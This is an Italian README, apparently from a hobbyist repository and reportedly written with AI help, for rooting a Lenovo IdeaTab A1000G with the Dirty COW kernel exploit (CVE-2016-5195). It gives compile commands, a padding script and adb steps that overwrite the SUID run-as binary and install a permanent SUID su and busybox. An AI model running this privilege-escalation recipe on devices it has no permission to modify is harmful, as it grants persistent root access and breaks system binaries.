Lenovo IdeaTab A1000G — Root
Nota: Questa documentazione e il codice exploit sono stati generati con l'assistenza dell'AI (Kiro).
Verifica prima dell'uso — l'AI può e commette errori.
Dispositivo
| Campo | Valore |
|---|
| Modello | Lenovo IdeaTab A1000G |
| SoC | MediaTek MT8317 (= MT6517) |
| CPU | Dual-core Cortex-A9 @ 1.2GHz |
| Kernel | Linux 3.4.0 |
| Build | A1000G_A412_01_09_130907_2G |
| Android | 4.1.2 (Jelly Bean) |
Prerequisiti
- Debug USB abilitato
- ADB connesso
- Android NDK r28+ in
~/Android/Sdk/ndk/
busybox-armv7l binario statico (busybox.net/downloads/binaries/1.21.1/)
Exploit — CVE-2016-5195 (Dirty COW)
Condizione di gara nel percorso mmap/write del kernel. Colpisce i kernel 2.6.22–4.8.3.
Obiettivo: /system/bin/run-as (SUID root, 9448 byte).
1. Compila
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang
# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
-UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
dcow_main.c dirtycow_android.c
# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c
2. Padding di su alla dimensione target (9448 byte)
with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)
3. Esegui
adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Attendere: [+] Success!
4. Installa su permanentemente
# Entra prima nella shell di root
adb shell /system/bin/run-as
# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su
5. Installa busybox (opzionale)
# From PC:
adb push busybox-armv7l /data/local/tmp/busybox
# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/
Utilizzo
adb shell
/system/bin/run-as # scende nella shell di root (#)
id # uid=0(root)
adb shell /system/bin/su -c cmd NON funziona — ADB perde setuid.
È necessario prima entrare in una shell interattiva.
Post-Root
/system/bin/run-as → sovrascritto (la funzionalità originale di run-as è danneggiata)
/system/bin/su → binario su SUID permanente
/system/bin/busybox → busybox 1.21.1
Tentativi Falliti
| Metodo | Motivo |
|---|
| CVE-2013-1763 sock_diag | Non compilato nel kernel |
File
.
├── README.md
├── root.sh # script di root automatizzato
├── dirtycow_android.c # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c # wrapper di main()
└── su2_src.c # sorgente del binario su
Binari precompilati non inclusi — compila dal sorgente usando i passaggi sopra.
Riferimenti
- CVE-2016-5195 source: Arinerron/CVE-2016-5195
- Firmware ROM (build diverso, usato solo per estrazione dei simboli del kernel):
Lenovo_A1000G_MT6577_01_24_130329
— i simboli di questa ROM funzionano sulla build
A412_01_09_130907 poiché entrambi condividono lo stesso layout virtuale del kernel